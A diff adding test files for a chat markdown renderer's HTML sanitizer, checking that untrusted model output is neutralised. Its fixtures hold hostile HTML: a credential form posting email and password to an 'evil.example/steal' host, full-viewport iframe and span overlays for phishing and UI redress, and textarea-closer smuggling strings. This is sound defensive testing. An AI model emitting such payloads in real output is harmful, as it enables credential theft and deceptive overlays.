const defaultStar = (defaultSchema.attributes?.['*'] ?? []).map((a) =>
|
|
160
|
+
Array.isArray(a) ? a[0] : a,
|
|
161
|
+
)
|
|
162
|
+
expect(defaultStar).toContain('action')
|
|
163
|
+
expect(defaultStar).toContain('name')
|
|
164
|
+
})
|
|
165
|
+
|
|
166
|
+
it('leaves the form controls that legitimately declare name/value intact', () => {
|
|
167
|
+
const schema = buildSanitizeSchema()
|
|
168
|
+
const attrs = (tag: string) =>
|
|
169
|
+
(schema.attributes?.[tag] ?? []).map((a) => (Array.isArray(a) ? a[0] : a))
|
|
170
|
+
// Narrowing `*` must not reach the per-tag declarations: these tags ask for
|
|
171
|
+
// `name`/`value` explicitly, which is exactly why the narrowing is safe.
|
|
172
|
+
expect(attrs('button')).toContain('name')
|
|
173
|
+
expect(attrs('button')).toContain('value')
|
|
174
|
+
expect(attrs('option')).toContain('value')
|
|
175
|
+
expect(attrs('textarea')).toContain('name')
|
|
176
|
+
expect(attrs('select')).toContain('name')
|
|
177
|
+
})
|
|
178
|
+
|
|
179
|
+
it('legacy presentational tags survive (center/font/big regression)', () => {
|
|
180
|
+
const pre = buildEffectiveTagSet()
|
|
181
|
+
const schema = buildSanitizeSchema()
|
|
182
|
+
for (const tag of ['center', 'font', 'big', 'strike', 'tt']) {
|
|
183
|
+
expect(pre.has(tag), `pre-pass must not escape <${tag}>`).toBe(true)
|
|
184
|
+
expect(schema.tagNames, `schema must keep <${tag}>`).toContain(tag)
|
|
185
|
+
}
|
|
186
|
+
const fontAttrs = (schema.attributes?.font ?? []).map((a) => (Array.isArray(a) ? a[0] : a))
|
|
187
|
+
for (const required of ['color', 'size', 'face']) {
|
|
188
|
+
expect(fontAttrs, `font must keep '${required}'`).toContain(required)
|
|
189
|
+
}
|
|
190
|
+
})
|
|
191
|
+
|
|
192
|
+
it('video keeps its source attributes through the schema (attribute survival)', () => {
|
|
193
|
+
const schema = buildSanitizeSchema({ extraAllowedHtmlTags: ['video', 'source'] })
|
|
194
|
+
const videoAttrs = (schema.attributes?.video ?? []).map((a) =>
|
|
195
|
+
Array.isArray(a) ? a[0] : a,
|
|
196
|
+
)
|
|
197
|
+
for (const required of ['src', 'poster', 'controls']) {
|
|
198
|
+
expect(videoAttrs, `video must keep '${required}'`).toContain(required)
|
|
199
|
+
}
|
|
200
|
+
const sourceAttrs = (schema.attributes?.source ?? []).map((a) =>
|
|
201
|
+
Array.isArray(a) ? a[0] : a,
|
|
202
|
+
)
|
|
203
|
+
expect(sourceAttrs).toContain('src')
|
|
204
|
+
})
|
|
205
|
+
|
|
206
|
+
it('id clobbering is disabled (raw-HTML #anchor deep-links survive)', () => {
|
|
207
|
+
const schema = buildSanitizeSchema()
|
|
208
|
+
expect(schema.clobber).toEqual([])
|
|
209
|
+
expect(schema.clobberPrefix).toBe('')
|
|
210
|
+
})
|
|
211
|
+
|
|
212
|
+
it('card/mention protocols are registered for href', () => {
|
|
213
|
+
const schema = buildSanitizeSchema()
|
|
214
|
+
expect(schema.protocols?.href).toContain('card')
|
|
215
|
+
expect(schema.protocols?.href).toContain('mention')
|
|
216
|
+
})
|
|
217
|
+
|
|
218
|
+
it('SAFE_HTML_TAGS still excludes video (chat baseline)', () => {
|
|
219
|
+
expect(SAFE_HTML_TAGS.has('video')).toBe(false)
|
|
220
|
+
})
|
|
221
|
+
})
|
|
222
|
+
|
|
223
|
+
/**
|
|
224
|
+
* ROUND-21 — the LINK REFERENCE DEFINITION spellings, pinned HERE rather than
|
|
225
|
+
* only in the parity corpus, exactly as the round-19/20 payload spellings are.
|
|
226
|
+
*
|
|
227
|
+
* A definition is consumed ENTIRELY by remark, which emits no node for it, so a
|
|
228
|
+
* `</textarea>` in its LABEL, DESTINATION or TITLE is never a real closer. The
|
|
229
|
+
* pass that blanks them used to be a set of line REGEXES, and a regex that fails
|
|
230
|
+
* to match leaves the line VISIBLE — the fail-OPEN direction. Two shape
|
|
231
|
+
* dimensions were never examined:
|
|
232
|
+
*
|
|
233
|
+
* ESCAPED DELIMITERS — `[^"\n]*` / `[^'\n]*` / `[^)\n]*` / `[^\]\n]*` stop at
|
|
234
|
+
* the first delimiter, escaped or not, while CommonMark permits `\"`, `\'`,
|
|
235
|
+
* `\)` and `\]` inside them.
|
|
236
|
+
*
|
|
237
|
+
* MULTI-LINE LABEL / TITLE — the continuation state modelled only what comes
|
|
238
|
+
* AFTER the `]:`, and `blankBracketLabels` deliberately excludes a bare `[…]`,
|
|
239
|
+
* so a label spanning lines had no pass at all.
|
|
240
|
+
*
|
|
241
|
+
* Every row below was a byte-identical no-op with one live RAWTEXT element.
|
|
242
|
+
* These assert on the MASK directly (no renderer), so a regression is pinned at
|
|
243
|
+
* the pass rather than at a rendered snapshot.
|
|
244
|
+
*/
|
|
245
|
+
describe('link-definition shelters blank in every shape (round 21)', () => {
|
|
246
|
+
const PRE = 'The <textarea> element explained.\n\n'
|
|
247
|
+
const TAIL = '\n\n## After heading\n\nsecret tail\n'
|
|
248
|
+
|
|
249
|
+
it.each([
|
|
250
|
+
// The unescaped CONTROL — already correct before round 21, which is what
|
|
251
|
+
// makes the ESCAPE (not the shape) the cause of the rows below it.
|
|
252
|
+
['control: unescaped title', '[a]: /x "</textarea>"'],
|
|
253
|
+
['escaped double quote in title', '[a]: /x "a\\"</textarea>"'],
|
|
254
|
+
["escaped apostrophe in title", "[a]: /x 'it\\'s </textarea>'"],
|
|
255
|
+
['escaped paren in title', '[a]: /x (a\\)</textarea>)'],
|
|
256
|
+
['escaped bracket in label, title shelter', '[a\\]b]: /x "</textarea>"'],
|
|
257
|
+
['escaped bracket in label, destination shelter', '[a\\]b]: </textarea>'],
|
|
258
|
+
['multi-line label', '[foo\n</textarea>]: /x'],
|
|
259
|
+
['multi-line label, closer on the FIRST line', '[</textarea>\nfoo]: /x'],
|
|
260
|
+
['three-line label', '[foo\n</textarea>\nbar]: /x'],
|
|
261
|
+
['blockquoted multi-line label', '> [foo\n> </textarea>]: /x'],
|
|
262
|
+
['multi-line title', '[a]: /x "line1\n</textarea>"'],
|
|
263
|
+
])('blanks the sheltered closer: %s', (_label, body) => {
|
|
264
|
+
const md = PRE + body + TAIL
|
|
265
|
+
const masked = __buildCloserHaystackForTest(md)
|
|
266
|
+
// The mask is LENGTH-PRESERVING, and the fake closer is gone from it…
|
|
267
|
+
expect(masked.length).toBe(md.length)
|
|
268
|
+
expect(masked).not.toContain('</textarea>')
|
|
269
|
+
// …so the prose opener above it is escaped rather than left live.
|
|
270
|
+
expect(escapeUnknownHtmlTags(md)).toContain('<textarea>')
|
|
271
|
+
})
|
|
272
|
+
|
|
273
|
+
/**
|
|
274
|
+
* THE RECOGNITION BOUNDARY, the complement that keeps the widened parser from
|
|
275
|
+
* eating prose. In each of these remark EMITS the text, so the closer is REAL
|
|
276
|
+
* and must stay VISIBLE in the haystack.
|
|
277
|
+
*/
|
|
278
|
+
it.each([
|
|
279
|
+
['no `]:` arrives in the paragraph', 'The <textarea> element.\n\n[foo\n</textarea> bar\n'],
|
|
280
|
+
['`]` not followed by `:`', 'The <textarea> element.\n\n[foo\n</textarea>] bar\n'],
|
|
281
|
+
['unescaped `[` inside the label', 'The <textarea> element.\n\n[foo[bar\n</textarea>]: /x\n'],
|
|
282
|
+
['trailing content after a title', 'The <textarea> element.\n\n[a]: /x "t" </textarea>\n'],
|
|
283
|
+
['trailing content after a destination', 'The <textarea> element.\n\n[a]: /x </textarea>\n'],
|
|
284
|
+
['continuation line that is not a title', 'The <textarea> element.\n\n[a]: /x\n</textarea> is real\n'],
|
|
285
|
+
['GFM footnote definition (block-parsed body)', 'Body[^a].\n\n[^a]: <textarea>hi</textarea>\n'],
|
|
286
|
+
])('leaves a NON-definition visible: %s', (_label, md) => {
|
|
287
|
+
const masked = __buildCloserHaystackForTest(md)
|
|
288
|
+
expect(masked.length).toBe(md.length)
|
|
289
|
+
expect(masked).toContain('</textarea>')
|
|
290
|
+
})
|
|
291
|
+
|
|
292
|
+
/**
|
|
293
|
+
* THE CONSUMPTION SIDE: a title that opens and never closes is BLANKED to the
|
|
294
|
+
* paragraph bound, never declined — and the blanking STOPS at that bound, so
|
|
295
|
+
* the pass cannot run away down the document.
|
|
296
|
+
*/
|
|
297
|
+
/**
|
|
298
|
+
* ROUND-23 — the FOOTNOTE-REFERENCE half, pinned at the MASK for the same
|
|
299
|
+
* reason: `blankUnreferencedFootnotes` decides whether a definition's body
|
|
300
|
+
* stays in the haystack, and it decides it from a REFERENCE COUNT. Counting
|
|
301
|
+
* that on the current mask made every `[^…]` remark consumes into an
|
|
302
|
+
* ATTRIBUTE or drops outright look like a live reference (a PHANTOM), so the
|
|
303
|
+
* definition — and the `</textarea>` in it — stayed visible and the opener
|
|
304
|
+
* above stayed LIVE. References now come from a separate, more-blanked copy.
|
|
305
|
+
*/
|
|
306
|
+
const FOOT_TAIL = '\n\n[^f]: b </textarea>\n\n## After heading\n'
|
|
307
|
+
it.each([
|
|
308
|
+
['image alt', 'v ![[^f]](/i.png) t'],
|
|
309
|
+
['full-reference label', 'v [txt][[^f]] t'],
|
|
310
|
+
['raw HTML block', 'v\n\n<div>\n[^f]\n</div>'],
|
|
311
|
+
['inline link title', 'v [a](/x "[^f]") t'],
|
|
312
|
+
['image title', "v  t"],
|
|
313
|
+
['angle destination', 'v [a](<[^f]>) t'],
|
|
314
|
+
['HTML comment', 'v\n\n<!-- [^f] -->'],
|
|
315
|
+
['inline tag attribute', 'v <span title="[^f]">x</span> t'],
|
|
316
|
+
['angle autolink', 'v <https://e.example/[^f]> t'],
|
|
317
|
+
['literal autolink', 'v https://e.example/x[^f]y t'],
|
|
318
|
+
])('blanks a definition whose only "reference" is a PHANTOM: %s', (_label, body) => {
|
|
319
|
+
const md = PRE + body + FOOT_TAIL
|
|
320
|
+
const masked = __buildCloserHaystackForTest(md)
|
|
321
|
+
expect(masked.length).toBe(md.length)
|
|
322
|
+
expect(masked).not.toContain('</textarea>')
|
|
323
|
+
expect(escapeUnknownHtmlTags(md)).toContain('<textarea>')
|
|
324
|
+
})
|
|
325
|
+
|
|
326
|
+
/**
|
|
327
|
+
* The complement: where remark really DOES resolve the reference, the
|
|
328
|
+
* definition body is document text, so its closer must stay VISIBLE. Over-
|
|
329
|
+
* blanking here would show a genuine element as escaped source.
|
|
330
|
+
*/
|
|
331
|
+
it.each([
|
|
332
|
+
['plain reference', 'v [^f] t'],
|
|
333
|
+
['inline link text', 'v [[^f]](/x) t'],
|
|
334
|
+
['shortcut reference text', 'v [[^f]] t'],
|
|
335
|
+
['table cell', '| h |\n| - |\n| [^f] |'],
|
|
336
|
+
['after an autolink', 'v https://e.example/x [^f] t'],
|
|
337
|
+
['email autolink (the `[` voids it)', 'v <a[^f]b@e.example> t'],
|
|
338
|
+
])('keeps a GENUINELY referenced definition visible: %s', (_label, body) => {
|
|
339
|
+
const md = PRE + body + FOOT_TAIL
|
|
340
|
+
const masked = __buildCloserHaystackForTest(md)
|
|
341
|
+
expect(masked.length).toBe(md.length)
|
|
342
|
+
expect(masked).toContain('</textarea>')
|
|
343
|
+
})
|
|
344
|
+
|
|
345
|
+
it('blanks an unterminated title to the paragraph bound, and no further', () => {
|
|
346
|
+
const md =
|
|
347
|
+
'The <textarea> element explained.\n\n[a]: /x "never closes\n</textarea>\nstill inside\n\n## After heading\n'
|
|
348
|
+
const masked = __buildCloserHaystackForTest(md)
|
|
349
|
+
expect(masked.length).toBe(md.length)
|
|
350
|
+
expect(masked).not.toContain('</textarea>')
|
|
351
|
+
// The haystack is case-folded; the heading past the bound is untouched.
|
|
352
|
+
expect(masked).toContain('## after heading')
|
|
353
|
+
})
|
|
354
|
+
})
|
|
@@ -0,0 +1,118 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* RENDER-level sanitizer fixtures — the counterpart to
|
|
3
|
+
* ./sanitize-invariant.test.ts, which asserts the SCHEMA.
|
|
4
|
+
*
|
|
5
|
+
* Why both: the schema is not the observable. `hast-util-sanitize` falls back
|
|
6
|
+
* from `attributes[tagName]` to `attributes['*']` for any property the per-tag
|
|
7
|
+
* list omits, so a schema assertion ("`attributes.input` omits `name`") can be
|
|
8
|
+
* green while the attribute still lands in the DOM. That exact gap shipped —
|
|
9
|
+
* `attributes.input` was documented as "EXACTLY the GFM task-list contract and
|
|
10
|
+
* nothing else" and `<input name="password" size="40">` kept both attributes,
|
|
11
|
+
* because defaultSchema carries the whole form vocabulary on `*`.
|
|
12
|
+
*
|
|
13
|
+
* So the rule these fixtures encode: for anything that matters, assert on what
|
|
14
|
+
* comes out of `SimpleMarkdownRenderer` (the CHAT surface — untrusted model
|
|
15
|
+
* output), not on the schema that is supposed to produce it.
|
|
16
|
+
*/
|
|
17
|
+
import React from 'react'
|
|
18
|
+
import { describe, it, expect } from 'vitest'
|
|
19
|
+
import { render } from '@testing-library/react'
|
|
20
|
+
import { SimpleMarkdownRenderer } from '../index'
|
|
21
|
+
|
|
22
|
+
describe('sanitizer — rendered output on the chat surface', () => {
|
|
23
|
+
it('renders a credential form INERT: no action, no method, no named inputs', () => {
|
|
24
|
+
const md =
|
|
25
|
+
'<form action="https://evil.example/steal" method="post">' +
|
|
26
|
+
'<input name="email" size="40"><input name="password" size="40">' +
|
|
27
|
+
'<button type="submit">Sign in</button></form>'
|
|
28
|
+
const { container } = render(<SimpleMarkdownRenderer content={md} />)
|
|
29
|
+
|
|
30
|
+
const form = container.querySelector('form')
|
|
31
|
+
// The tag itself is allowed (escaping it would show markup as prose), but
|
|
32
|
+
// it must carry no submission target and no field identity — with neither,
|
|
33
|
+
// there is nothing for a click to exfiltrate.
|
|
34
|
+
expect(form?.getAttribute('action')).toBeNull()
|
|
35
|
+
expect(form?.getAttribute('method')).toBeNull()
|
|
36
|
+
for (const input of Array.from(container.querySelectorAll('input'))) {
|
|
37
|
+
expect(input.getAttributeNames()).not.toContain('name')
|
|
38
|
+
expect(input.getAttributeNames()).not.toContain('value')
|
|
39
|
+
expect(input.getAttributeNames()).not.toContain('size')
|
|
40
|
+
}
|
|
41
|
+
})
|
|
42
|
+
|
|
43
|
+
it('still renders a GFM task list as real checkboxes (positive control)', () => {
|
|
44
|
+
const { container } = render(
|
|
45
|
+
<SimpleMarkdownRenderer content={'- [x] done\n- [ ] todo\n'} />,
|
|
46
|
+
)
|
|
47
|
+
const boxes = Array.from(container.querySelectorAll('input[type="checkbox"]'))
|
|
48
|
+
expect(boxes).toHaveLength(2)
|
|
49
|
+
expect(boxes[0].hasAttribute('checked')).toBe(true)
|
|
50
|
+
expect(boxes[1].hasAttribute('checked')).toBe(false)
|
|
51
|
+
})
|
|
52
|
+
|
|
53
|
+
/**
|
|
54
|
+
* Narrowing `*` must not silently change what authored content renders to.
|
|
55
|
+
* Note the asymmetry this fixture records: the SCHEMA re-allows `name` on
|
|
56
|
+
* `<a>` (see sanitize-invariant.test.ts), but the base `a` renderer builds its
|
|
57
|
+
* own element from `href` + children and never forwards `name`, so a legacy
|
|
58
|
+
* `<a name="…">` anchor does not reach the DOM — and did not before the
|
|
59
|
+
* narrowing either (verified by reverting it). The schema allowance is
|
|
60
|
+
* therefore belt-and-braces, not the reason this renders as it does.
|
|
61
|
+
*/
|
|
62
|
+
it('does not change what authored list/anchor markup renders to', () => {
|
|
63
|
+
const { container } = render(
|
|
64
|
+
<SimpleMarkdownRenderer
|
|
65
|
+
content={'<a name="section-two">anchor</a>\n\n<ol><li value="3">three</li></ol>'}
|
|
66
|
+
/>,
|
|
67
|
+
)
|
|
68
|
+
// Both attributes are absent — and were absent BEFORE `*` was narrowed,
|
|
69
|
+
// because the base renderers rebuild these elements. The content itself is
|
|
70
|
+
// untouched, which is the property that matters.
|
|
71
|
+
expect(container.querySelector('a')?.textContent).toBe('anchor')
|
|
72
|
+
expect(container.querySelector('a')?.getAttribute('name')).toBeNull()
|
|
73
|
+
expect(container.querySelector('li')?.textContent).toBe('three')
|
|
74
|
+
expect(container.querySelector('li')?.getAttribute('value')).toBeNull()
|
|
75
|
+
})
|
|
76
|
+
})
|
|
77
|
+
|
|
78
|
+
/**
|
|
79
|
+
* UI-REDRESS / OVERLAY class. `style` is allowed on the tags a content audit
|
|
80
|
+
* found using it, but the POSITIONING subset of CSS is not decoration — it lifts
|
|
81
|
+
* untrusted markup out of the message body and puts it over the application.
|
|
82
|
+
*
|
|
83
|
+
* All three payloads below rendered verbatim before the guard: an
|
|
84
|
+
* attacker-controlled cross-origin document (or a plain opaque `<span>`)
|
|
85
|
+
* covering the whole viewport above every piece of app chrome, from ONE chat
|
|
86
|
+
* message, i.e. from model output.
|
|
87
|
+
*/
|
|
88
|
+
describe('sanitizer — positioning styles cannot lift content out of the flow', () => {
|
|
89
|
+
const OVERLAYS: Record<string, string> = {
|
|
90
|
+
'cross-origin iframe':
|
|
91
|
+
'<iframe src="https://evil.example/phish" style="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:2147483647"></iframe>',
|
|
92
|
+
'bare span': '<span style="position:fixed;inset:0;background:#fff;z-index:2147483646">fake ui</span>',
|
|
93
|
+
'div with sticky': '<div style="position:sticky;top:0;z-index:9999">bar</div>',
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
for (const [name, md] of Object.entries(OVERLAYS)) {
|
|
97
|
+
it(`strips the positioning declarations: ${name}`, () => {
|
|
98
|
+
const { container } = render(<SimpleMarkdownRenderer content={md} />)
|
|
99
|
+
const html = container.innerHTML
|
|
100
|
+
expect(html).not.toMatch(/position\s*:\s*(fixed|absolute|sticky)/i)
|
|
101
|
+
expect(html).not.toMatch(/z-index/i)
|
|
102
|
+
expect(html).not.toMatch(/\binset\s*:/i)
|
|
103
|
+
})
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
it('keeps ordinary decorative styling on the same element', () => {
|
|
107
|
+
const { container } = render(
|
|
108
|
+
<SimpleMarkdownRenderer
|
|
109
|
+
content={'<div style="background:#eee;padding:8px;text-align:center;position:fixed">note</div>'}
|
|
110
|
+
/>,
|
|
111
|
+
)
|
|
112
|
+
const style = container.querySelector('div[style]')?.getAttribute('style') ?? ''
|
|
113
|
+
expect(style).toMatch(/background/)
|
|
114
|
+
expect(style).toMatch(/padding/)
|
|
115
|
+
expect(style).toMatch(/text-align/)
|
|
116
|
+
expect(style).not.toMatch(/position/)
|
|
117
|
+
})
|
|
118
|
+
})
|